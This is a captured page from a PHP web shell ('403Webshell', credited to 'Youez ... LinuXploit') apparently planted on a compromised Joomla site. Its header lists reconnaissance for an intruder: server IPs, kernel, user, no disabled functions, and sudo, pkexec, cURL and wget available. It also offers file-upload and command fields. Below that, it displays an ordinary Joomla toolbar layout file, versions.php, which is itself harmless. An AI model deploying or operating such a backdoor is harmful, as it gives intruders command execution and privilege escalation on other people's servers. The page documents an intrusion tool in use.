403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/icaoc/layouts/joomla/toolbar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/icaoc/layouts/joomla/toolbar/versions.php
<?php

/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Session\Session;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string  $id
 * @var   string  $itemId
 * @var   string  $typeId
 * @var   string  $typeAlias
 * @var   string  $title
 */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();

$wa->useScript('core')
    ->useScript('joomla.dialog-autocreate')
    ->useScript('webcomponent.toolbar-button');

$url = 'index.php?' . http_build_query([
    'option'                => 'com_contenthistory',
    'view'                  => 'history',
    'layout'                => 'modal',
    'tmpl'                  => 'component',
    'item_id'               => $itemId,
    Session::getFormToken() => 1,
]);


$dialogOptions = [
    'popupType'  => 'iframe',
    'src'        => $url,
    'textHeader' => $title ?? '',
];

?>
<joomla-toolbar-button id="toolbar-versions">
    <button
        class="btn btn-primary"
        data-joomla-dialog="<?php echo $this->escape(json_encode($dialogOptions, JSON_UNESCAPED_SLASHES)); ?>"
        type="button">
        <span class="icon-code-branch" aria-hidden="true"></span>
        <?php echo $title; ?>
    </button>
</joomla-toolbar-button>

Youez - 2016 - github.com/yon3zu
LinuXploit